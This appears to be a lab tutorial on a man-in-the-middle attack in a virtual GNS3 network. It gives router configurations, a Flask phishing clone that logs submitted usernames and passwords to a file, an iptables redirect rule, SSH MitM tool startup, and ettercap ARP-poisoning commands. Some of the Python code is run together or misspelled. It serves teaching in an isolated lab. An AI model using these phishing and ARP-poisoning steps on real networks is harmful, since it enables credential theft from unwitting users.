Man in the Middle Attack with Ettercap
Let’s take a look at carrying out an MitM attack using Ettercap and a couple of other tools, this with the goal to learn about this type of attack and how it’s carried out.
For this proof of concept, we are using a virtualized environment so that we have control over all of the aspects and we are not affecting any real services or users.
The Network
For emulating the network, we would be using GNS3 and setting up the following topology
There are 3 Cisco IOS C3745 routers which represent different areas that we want to emulate for the attack. The network can be made bigger or smaller, depending on the complexity that you wish to have.
Home Router Configuration
The router that is used for the Home network has two interfaces, one is for the internal network and the other for the ISP connection.
The configuration for the interfaces is as follows:
interface FastEthernet0/0
description ISP
ip address dhcp
ip nat outside
!
interface FastEthernet0/1
description HOME
ip address 192.168.2.1 255.255.255.0
ip nat inside
For the WAN side, the IP address is assigned by the ISP router.
The Home LAN uses a DHCP to provide the IP addresses for the hosts, the configuration for the DHCP is as follows:
ip dhcp pool LAN
network 192.168.2.0 255.255.255.0
default-router 192.168.2.1
dns-server 169.254.25.2
Finally, the following is the configuration for the NAT that is used so that the internal hosts can reach the ones on the outside.
ip nat inside source list INSIDE-NET interface FastEthernet0/0 overload
!
ip access-list standard INSIDE-NET
permit 192.168.2.0 0.0.0.255
ISP Router Configuration
The role of the ISP router is to interconnect the user’s network with the router which hosts the services that the user has access to.
The router has two interfaces, both have their static IP address set
interface FastEthernet0/0
description INTERWEBS
ip address 169.254.25.1 255.255.255.252
ip ospf 1 area 0
!
interface FastEthernet0/1
description CUSTOMERS
ip address 186.15.1.1 255.255.255.0
ip ospf 1 area 0
The DHCP is configured for the customer side of the setup
ip dhcp pool CUSTOMER
network 186.15.1.0 255.255.255.0
default-router 186.15.1.1
dns-server 169.254.25.2
To allow the customers to reach the services, the OSPF configuration below is added
router ospf 1
router-id 1.1.1.1
Hosting Router Configuration
This network hosts 3 different services, though if we wanted to have a bit more realism we would setup more devices on the network and not have all of the services behind the same router.
For the interfaces, we have the following configuration
interface FastEthernet0/0
description INTERWEBS
ip address 169.254.25.2 255.255.255.252
ip nat outside
ip virtual-reassembly
ip ospf 1 area 0
!
interface FastEthernet0/1
description HOSTING
ip address 192.168.1.1 255.255.255.248
ip nat inside
ip virtual-reassembly
I added the OSPF to the external facing interface, but believe that it might not be necessary. However, the goal of this setup isn’t to have the best network setup, it is just to have a working connection that we can use for the proof of concept for the attack.
router ospf 1
router-id 2.2.2.2
This network doesn’t have a DHCP and all of the hosts have statically set IP addresses. The reason is that it makes it easier to have the NAT configuration for opening the ports and forwarding them to the correct host.
The NAT configuration is below
ip nat inside source list 1 interface FastEthernet0/0 overload
ip nat inside source static udp 192.168.1.4 53 interface FastEthernet0/0 53
ip nat inside source static tcp 192.168.1.3 22 interface FastEthernet0/0 22
ip nat inside source static tcp 192.168.1.2 80 interface FastEthernet0/0 80
!
access-list 1 permit 192.168.1.0 0.0.0.7
Virtual Machine Configuration
For the whole setup, there are 5 VM’s and 4 of them are running Debian 10 32-bit and one is running Kali.
Victim Host
This host has a base configuration with the XFCE desktop and only has the net-tools
and arp
packages installed, these two packages are used to show how the attack is affecting the host.
Web Server
A base Debian installation with the lighttpd
package for the HTTP service, we are not changing any other configuration and just adding the website with a simple login form. Also, installing the php
package to have PHP code on the website for the login form.
This is not meant to provide the most secure environment as we are only showing how to create the MitM attack and not further complexity of having a higher level of security, which should be applied in any sites created.
SSH Server
Though this is a bit overkill, as we can simply use one of the other servers, but I had set it up previously and wasn’t going to leave it out. So this is a base Debian installation with the ssh
package installed. No changes are made to the configuration.
DNS Server
I wanted to have a domain name resolution for a bit of added realism and not just be accessing the site via IP address. So a base Debian installation with the dnsmasq
package installed and only configured to have DNS working and resolving the URL bank.com
to the IP address of the hosting router.
Preparations for the MitM Attack
Once we have the networking and servers created, we need to setup the website and the tools that will be used to carry out the attack.
The Website
A login form with a hard-coded password, not complicating things with having a database back-end for authentication.
?php
session_start();
echo isset($_SESSION['login']);
if(isset($_SESSION['login'])) {
header('LOCATION:index.php'); die();
}
?>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv='content-type' content='text/html;charset=utf-8' />
<title>Login</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="style.css">
</head>
<body>
<section class="container">
<div class="login">
<h1 class="text-center">Login</h1>
<?php
if(isset($_POST['submit'])){
$username = $_POST['username']; $password = $_POST['password'];
if($username === 'admin' && $password === 'password'){
$_SESSION['login'] = true; header('LOCATION:admin.php'); die();
} {
echo "<div class='alert alert-danger'>Username and Password do not match.</div>";
}}
?>
<form action="" method="post">
<div class="form-group">
<label for="username">Username:</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="form-group">
<label for="pwd">Password:</label>
<input type="password" class="form-control" id="pwd" name="password" required>
</div>
<button type="submit" name="submit" class="btn btn-default">Login</button>
</form>
</div>
</section>
</body>
</html>
The credentials used for this login form are admin
and password
, but they can be easily changed and we aren’t attacking the website so this presents no issue.
This is how the site looks
When a successful login takes place, we load the page admin.php
to just display that there was successful login, so the site only has one line of text. We do have a check to make sure that the page is being loaded by the login form and not by simply navigating to it directly.
<?php
session_start();
if(!isset($_SESSION['login'])) {
header('LOCATION:index.php'); die();
}
?>
<html>
<head>
<title>Admin Page</title>
</head>
<body>
This is admin page view able only by logged in users.
</body>
</html>
These two pages are placed in the /var/www/html
directory in the web server so that they are served by the lighttpd
service.
The Malicious Site
We clone the site that the user normally visits so that they provide the credentials. There are several ways to carry out this part of the attack and several aspects can make or break the attack, but we will focus on redirecting the traffic and just cloning one page for the proof of concept.
For the login page, we just have to make a couple of modifications so that the behavior of the site is to capture credentials and not authenticate the user. The code we will use is the one below
<!DOCTYPE html>
<html><head>
<meta http-equiv='content-type' content='text/html;charset=utf-8' />
<title>Login</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="{{ url_for('static',filename='style.css') }}">
</head><body>
<section class="container">
<div class="login">
<h1>Login</h1>
<form action="" method="post">
<div class="form-group">
<label for="username">Username:</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="form-group">
<label for="pwd">Password:</label>
<input type="password" class="form-control" id="pwd" name="password" required>
</div>
<button type="submit" name="submit" class="btn btn-default">Login</button>
</form>
</div>
</section>
</body></html>
We also want for the site to redirect to another page once the user enters their credentials, this we create a page that just displays an error message with the following code
<html lang='en'><head>
<title>Error</title>
<link rel="stylesheet" href="{{ url_for('static',filename='style.css') }}">
</head><body>
<section class="container">
<div class"login">
<p style="color:white;font-size:36px">Hello {{user}},</p>
<p style="color:white;font-size:16px">An error was encountered while attempting to access the information of
your account. Please try again later.<p>
</div>
</section>
</body></html>
For the styling, we use the same one as the real site.
The code below is used by Python to get the web page working
from flask import Flask
from flask import render_template,request,url_for,send_from_directory
from os import pathapp = Flask(__name__)@app.route('/favicon.ico')
def favicon():
return send_for_directory(path.join(app.root_path, 'static'),
'favicon.ico', mimetype='image/vnd.microsoft.icon')@app.route('/', methods=['POST', 'GET'])
def home():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']with open("user.cred", "a") as userFile:
userFile.write("{}::{}\n".format(username, password))return render_template('error.html', user=username)else:return render_template('index.html')if __name__ == "__main__":
app.run(debug=False, host='0.0.0.0', port='17280')
This gets the site hosted on port 17280
and we will use iptables to redirect the web traffic to that port and the victim won’t notice.
For Flask to correctly load the site, we should place all of the files in a single directory and the structure would look like the one below
pypage/
├── page.py
├── static
│ ├── favicon.ico
│ └── style.css
├── templates
│ ├── error.html
│ └── index.html
└── user.cred2 directories, 6 files
The file user.cred
is where we’ll store the credentials that the malicious login form captures. We will look at how to start the process later on.
The Tools
We use a couple of programs for different parts of the attack
- The program
ettercap
for the MitM and scanning for hosts. - Traffic redirection of HTTP and SSH is done with
iptables
in the Kali VM. - The malicious site is hosted with Python and Flask.
- For the SSH part, we will be using SSH MitM v2.2 tool, which is created by Joe Testa.
Carrying out the MitM Attack
So after setting up the environment and the tools that we will need, we can begin to carry out the attack. So let’s look at each step.
The Malicious Site
If we are going to redirect the web traffic, we should establish the iptables
rules first, below is the rule that redirects all of the traffic to port 80 to the port we are using for Flask
iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 127.0.0.1:17280
Now we start the Flask server with the following command from the directory where the files are
python page.py
Now our malicious site should be accessible by visiting the URL http://127.0.0.1:17280
so be sure to validate that the site is loading, for this to work we wouldn’t have the user seeing an error instead of the malicious site.
The SSH Server
Once we have the SSH MitM application installed and working, we will start it with the following command
./start.sh
This command should be executed from the directory where the files are located. This script will setup the iptables
rules necessary for this part of the attack to work.
The ARP Poisoning
There are two steps for the arp poisoning part, both of which can be carried out with ettercap
.
First step is to identify the victim, for this we run the following command to start the network scan
sudo ettercap -T -i eth0 -n 255.255.255.0
This will start the scan and once that is done, we can press the l
key and ettercap will list all of the hosts found, for our case the output would look something like the one below (the correct MAC addresses will show up)
Hosts list:1) 192.168.2.1 00:00:00:00:00:00
2) 192.168.2.6 00:00:00:00:00:00
At this point we have identified the hosts and we also know that the IP address for the hosted services is 169.254.25.2
so we can also use that for the IP address in the following step.
For the second step, we are running the ettercap
tool with the options for the arp poisoning and we do this with the following command
sudo ettercap -T -i eth0 -M ARP /169.254.25.2/192.168.2.6/
Once the tool finishes carrying out the scan, it will start flooding the victim’s computer with ARP Responses and causing for all of the traffic to be redirected to our Kali machine.
We can see the difference by running the command arp
in the victim’s VM before and after the attack to see the changes it makes.
At this point when the user navigates to any site on their web browser, they will be redirected to our malicious site. When they try to connect to any SSH server, it will also go through our SSH server and we will capture the credentials.
Conclusion
We saw the different steps that this attack involves, but this is just a small part that is very simplified while still teaching how it is carried out.